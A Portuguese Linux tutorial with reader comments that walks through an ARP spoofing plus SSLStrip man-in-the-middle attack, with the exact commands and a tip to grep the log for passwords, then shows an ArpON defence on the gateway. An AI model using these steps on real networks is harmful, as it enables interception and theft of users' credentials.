Entendendo o ataque ARP spoofing + SSLStrip

Neste artigo mostro como realizar um ataque SSLStrip para
mostrar que uma conexão utilizando SSL não é 100% segura. O
artigo é para fins didáticos e não para causar danos ou prejuízos a
terceiros. Espero que gostem.

[ Hits: 44.938 ]

Por: Rick em 02/01/2013 | Blog: http://www.guiadoti.com


Introdução



Veremos um pouco sobre o SSLStrip, descobriremos que o uso da conexão segura SSL não garante a proteção do usuário 100%. Muita gente acha que ao usar HTTPS, está livre de qualquer ataque de crackers, mas na verdade não é bem assim, existem métodos que possibilitam o roubo de informações mesmo em sites seguros.

O SSLStrip nos permite isso, esta técnica é relativamente fácil de aplicar e extremamente poderosa. Ela funciona juntamente com o arpspoof, que já vimos como funciona, para aqueles que não viram, segue o link:
Quando um usuário conecta-se em um site seguro, ele transfere as informações criptografadas com o servidor impedindo um ataque de sniffing tradicional. Quando realizamos o ataque de SSLStrip, primeiramente interceptamos o tráfego do alvo através de técnicas man-in-the-middle, assim, o atacante engana o alvo fazendo-se passar por um proxy e engana o servidor se passando pelo cliente, assim as informações são passadas para o atacante em texto puro.

Abaixo demonstrarei como funciona o ataque propriamente dito, utilizei um BackTrack 5 R2 para usar o SSLStrip e um Windows como alvo.

* Todas as informações aqui contidas são para fins didáticos e não para causar danos e prejuízos para alguém, usem este conhecimento com ética e responsabilidade.

Procedimentos

Primeiramente habilitaremos o encaminhamento de pacotes para realizar o ARP spoofing:

# echo "1" > /proc/sys/net/ipv4/ip_forward

Agora, vá até o diretório do SSLStrip no BackTrack:

# cd /pentest/web/sslstrip

Redirecione o tráfego da porta 80 para a porta que utilizaremos no SSLStrip, no caso, redirecionei para a porta 8080:

# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

Agora vamos mandar o SSLStrip escutar o tráfego na porta 8080 e mandar ele logar tudo:

# python sslstrp.py -a -l 8080

Depois disso, em outro terminal, comece o ARP spoofing entre a vítima e o gateway:

# arpspoof -i eth0 -t 192.168.0.55 192.168.0.1

Em outro terminal:

# arpspoof -i eth0 -t 192.168.0.1 192.168.0.55

Você pode acompanhar o tráfego dando:

# tail -f sslstrip.log

Para ver as senhas, procure por login ou passwd dentro do arquivo de log, não se assuste com a quantidade de informações dentro do arquivo, é assim mesmo.

Obs.: Se você estiver tentando capturar senhas do Gmail e a vítima estiver utilizando o Google Chrome não vai funcionar, tem que ser outro navegador, como o IE por exemplo. Mas o resto funciona, como: Facebook, Terra, entre outros.

Como se proteger

O ArpON é uma ferramenta open source que faz ARP seguro, evitando, com isso, ataques como Man-in-the-middle, DHCP Spoofing, DNS Spoofing, Web Spoofing, Sequestro de sessão SSL, entre outros. Ela funciona monitorando a tabela ARP da rede, gera e bloqueia alterações na tabela.

Bem, como na maioria das empresas a maioria dos hosts são Windows, iremos basear o laboratório no seguinte cenário:
                 
     FIREWALL  / GATEWAY
                    |
                  SWITCH
                    |
        ---------------------------
        |           |             |
       HOST        HOST          HOST

Não sei se dá para entender (hehehe), mas vamos amos explicar mais um. pouco. É no nosso servidor GNU/Linux que compartilha a Internet para a rede interna que será instalado o ArpON, e nele, iremos colocar todos os IPs e MACs dos nossos clientes.

Assim, quando algum usuário malicioso tentar fazer o ARP spoofing, ele não irá conseguir completar. Do alvo para o gateway, ele vai conseguir, pois não temos nenhuma proteção no cliente. Mas quando ele tentar fazer do gateway para o alvo, ele não vai conseguir, pois o ArpON que está no gateway irá bloquear, com isso, impedimos o ataque e conseguimos até ver qual é o usuário espertinho.

Bem, vamos colocar a mão na massa. Para instalar o ArpON:

# aptitude install arpon

Agora, edite o arquivo de configuração do ArpON:

# pico /etc/default/arpon

Descomente a linha:

DAEMON_OPTS="-d -f /var/log/arpon/arpon.log -g -i eth1 -s"

Obs.: Repare que existe um parâmetro nessa linha (-i eth1) que não haverá no arquivo de vocês, é porque no meu laboratório a interface da rede interna é eth1, caso a de vocês seja eth0, não é necessário colocar este parâmetro.

E mude a linha:
RUN="no"

Para:

RUN="yes"

Agora precisamos cadastrar os IPs e MACs dos clientes:

# pico /etc/arpon.sarpi

Edite o arquivo da seguinte forma:

#IP              MAC
192.168.0.5          f5:f5:f5:f5:f5:f5

Obs.: Faça a identação com tabulações.

Agora é só iniciar o ArpON:

# /etc/init.d/arpon start

E acompanhar os logs:

# tail -f /var/log/arpon/arpon.log


Pessoal, é isso aí.

Espero que tenham curtido a dica e que a usem, pois isso evita muitos problemas futuros.

Até a próxima.

   

Páginas do artigo
   1. Introdução
Outros artigos deste autor

storage FreeNas 9.2.1.6 - Instalação e configuração

Syslog-NG - Configurando um servidor de logs

Redmine 2.1.4 no Debian Squeeze - Instalação e configuração

Snort + MySQL + Guardian - Instalação e configuração

Instalando FreeNAS 8.3.0 e criando Storage iSCSI

Leitura recomendada

Jogando pesado na segurança de seu SSH

Análise de Atividades Suspeitas com Audit

Enjaulamento de usuário no sistema operacional

Gerenciando logs do Linux pela WEB com o PHPSYSLOG-NG (parte 1)

Ping - O que há por trás?

  
Comentários
[1] Comentário enviado por stremer em 03/01/2013 - 16:14h

Amigo, o artigo é bom, mas quando fala:
Veremos um pouco sobre o SSLStrip, descobriremos que o uso da conexão segura SSL não garante a proteção do usuário 100%.

Não concordo... o SSL é seguro sim e este tipo de técnica não quebra a criptografia, mas cria uma segunda conexão, não usando o certificado de segurança real. Basta ser um pouco esperto e ver que o certificado não é real e pronto... ou senão precisa ser infectado com algum trojan que instale esse certificado e não gere avisos de segurança...

[2] Comentário enviado por rick_G em 07/01/2013 - 19:57h

Amigo stremer reconheço que me expressei mal quando falei isso, peço desculpas pelo erro e que os demais desconsiderem esse comentário, mas acho que o artigo mostra a sua finalidade, e ainda a dica sobre o arpon, então ainda ta valendo...rsrs

[3] Comentário enviado por lordestark em 21/07/2016 - 21:34h

Obrigado! Mas pelomenos diga que foi tirado de um site né?

http://guiadoti.blogspot.com.br/2012/12/evitando-ataques-de-sniffing-com-arpon.html

[4] Comentário enviado por rick_G em 28/07/2016 - 23:33h

;)

[5] Comentário enviado por rick_G em 28/07/2016 - 23:34h


[3] Comentário enviado por lordestark em 21/07/2016 - 21:34h

Obrigado! Mas pelomenos diga que foi tirado de um site né?

http://guiadoti.blogspot.com.br/2012/12/evitando-ataques-de-sniffing-com-arpon.html



Caro lordestark, eu sou o autor do Guia do TI, por isso não vejo problema em por o conteúdo aqui!! ;)

[6] Comentário enviado por gabriel96 em 06/09/2017 - 14:58h

Galera ! preciso que alguém me ajuda.

fasso todo procedimento certo desde comfigurar o ettrcap.conf ate eniciar o snnifer no ettercap

Mas a questão eh, quando eu inicio o sniiff e vor no navegador ele não e redirecionado pra pagina que eu configurei lah no arquivo ettercap.dns, ele não vai para nehuma , so aparece que falando: FALHA NA CONXÃO SEGURA

alguem pode me ajudar oque ta epedindo ser redirecionado para pagina que desejo.

[7] Comentário enviado por AngeliAB em 13/02/2019 - 16:53h

Não entendi.. Se o objetivo é ler o tráfego HTTPS (443), o que adianta redirecionar o tráfego da porta 80?


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts